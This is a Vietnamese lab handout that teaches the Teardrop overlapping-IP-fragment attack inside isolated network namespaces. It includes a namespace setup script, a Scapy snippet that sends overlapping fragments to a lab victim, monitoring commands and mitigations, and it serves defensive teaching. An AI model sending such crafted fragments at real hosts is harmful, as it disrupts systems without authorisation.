BÀI THỰC HÀNH 06

Kỹ thuật tấn công Teardrop Attack

Teardrop Attack — Overlapping IP Fragments

Thời lượng	75 phút
Mức độ	Trung bình
Môi trường	1 VM Kali Linux · ip netns + veth
Công cụ	Scapy, tcpdump

⚠ Bài thực hành chỉ được thực hiện trong môi trường phòng lab cô lập (máy ảo + network namespace trên chính máy của bạn). Mọi kỹ thuật ở đây thuộc nhóm tấn công mạng; việc áp dụng lên hệ thống/mạng không thuộc quyền sở hữu hoặc không được cho phép bằng văn bản là VI PHẠM PHÁP LUẬT (Luật An ninh mạng 2018 — Luật số 24/2018/QH14, và Bộ luật Hình sự). Mục tiêu học tập là hiểu cơ chế để phòng thủ (defensive security).

Mục tiêu bài học

- Hiểu cơ chế **phân mảnh & tái hợp IP** (fragmentation/reassembly) và trường fragment offset.
- Chế tạo các **mảnh IP chồng lấn** (overlapping fragments) đặc trưng của Teardrop bằng Scapy.
- Quan sát kernel hiện đại xử lý an toàn (không crash) — chứng minh vì sao hệ thống đã **miễn nhiễm**.

Kiến thức nền tối thiểu

- Gói IP lớn bị chia thành nhiều mảnh; mỗi mảnh có **fragment offset** (đơn vị 8 byte) để bên nhận ghép lại.
- Teardrop gửi các mảnh có offset **chồng lấn/sai lệch** khiến code tái hợp lỗi của hệ cũ tính ra độ dài âm ⇒crash (Windows 3.1/95/NT, Linux < 2.0.32).
- Kernel hiện đại kiểm tra biên chặt chẽ (vá từ ~1998) nên **không còn crash** — đây chính là điều lab muốn kiểm chứng.

1. Chuẩn bị môi trường

▸ setup_pair.sh — h1 = attacker (.1), h2 = victim (.2)

```
#!/bin/bash
# setup_pair.sh - Dung 2 namespace (h1, h2) noi voi nhau qua mot lien ket veth
set -e
ip netns add h1
ip netns add h2
ip link add veth1 type veth peer name veth2
ip link set veth1 netns h1
ip link set veth2 netns h2
ip netns exec h1 ip addr add 10.0.0.1/24 dev veth1
ip netns exec h2 ip addr add 10.0.0.2/24 dev veth2
ip netns exec h1 ip link set veth1 up
ip netns exec h2 ip link set veth2 up
ip netns exec h1 ip link set lo up
ip netns exec h2 ip link set lo up
echo "[+] Topo san sang. Kiem tra ket noi:"
ip netns exec h1 ping -c2 10.0.0.2
```

2. Các bước thực hành

Bước 2.1 — Ghi nhận trạng thái "sức khỏe" của victim trước tấn công

```
# Thong ke tai-rap manh IP cua victim (chu y ReasmFails / ReasmOKs):
ip netns exec h2 sh -c "cat /proc/net/snmp | grep -A1 '^Ip:'"
```

Bước 2.2 — Mở ping nền để theo dõi victim còn "sống" không

▸ Terminal theo dõi — giữ chạy trong lúc tấn công

```
ip netns exec h2 ping -i 0.3 10.0.0.1
```

Bước 2.3 — Gửi các mảnh IP chồng lấn (Teardrop)

▸ Terminal attacker (h1)

```
ip netns exec h1 python3 - <<'EOF'
from scapy.all import *
dst = "10.0.0.2"; ipid = 1234
# Manh 1: offset 0, co co MF (con manh), mang 24 byte (3 don vi 8-byte)
f1 = IP(dst=dst, id=ipid, flags="MF", frag=0, proto=17)/(b"A"*24)
# Manh 2: offset=1 (tuc 8 byte) -> CHONG LAN voi manh 1, du lieu 24 byte
f2 = IP(dst=dst, id=ipid, flags=0,    frag=1, proto=17)/(b"B"*24)
send([f1, f2], verbose=0)
print("Da gui 2 manh IP chong lan (teardrop) toi", dst)
EOF
```

Bước 2.4 — Quan sát & kết luận

```
# Bat goi tai victim (se thay cac manh IP - flag MF, offset):
ip netns exec h2 tcpdump -i veth2 -nn -v ip
# Thong ke lai sau tan cong (ReasmFails co the tang):
ip netns exec h2 sh -c "cat /proc/net/snmp | grep -A1 '^Ip:'"
# Kiem tra nhat ky kernel - khong co crash/panic:
ip netns exec h2 dmesg | tail
```

✓**Kết quả mong đợi:** Terminal ping nền cho thấy victim **vẫn phản hồi bình thường** suốt quá trình. Thống kê có thể ghi nhận ReasmFails tăng (kernel phát hiện mảnh xấu và loại bỏ), nhưng **không có crash**. Kết luận: kernel hiện đại miễn nhiễm Teardrop nhờ kiểm tra biên khi tái hợp — bản thân sự "miễn nhiễm" này là nội dung phòng thủ của bài.

Phòng chống (Mitigation)

- Cập nhật kernel/OS: lỗ hổng Teardrop đã được vá từ cuối thập niên 1990 (kiểm tra biên khi reassembly).
- Firewall loại bỏ/chuẩn hóa các mảnh IP dị thường (fragment scrubbing) — RFC 1858.
- Giới hạn tài nguyên hàng đợi tái hợp để chống cạn kiệt bộ nhớ bởi mảnh rác.
- IDS/IPS phát hiện chuỗi mảnh chồng lấn bất thường.

Câu hỏi ôn tập

1. Fragment offset tính theo đơn vị nào? Hai mảnh ở Bước 2.3 chồng lấn ở khoảng byte nào?
2. Vì sao các mảnh chồng lấn từng làm hệ thống cũ crash? Kernel hiện đại xử lý khác ra sao?
3. Giá trị ReasmFails thay đổi thế nào trước/sau tấn công? Nó cho biết điều gì?
4. Ngoài Teardrop, hãy nêu một tấn công khác cũng lợi dụng phân mảnh IP và cách phòng chống.

Tài liệu tham khảo

- CVE-1999-0015 — Teardrop IP fragment overlap.

- RFC 791 — IP Fragmentation and Reassembly.
- RFC 1858 — Security Considerations for IP Fragment Filtering.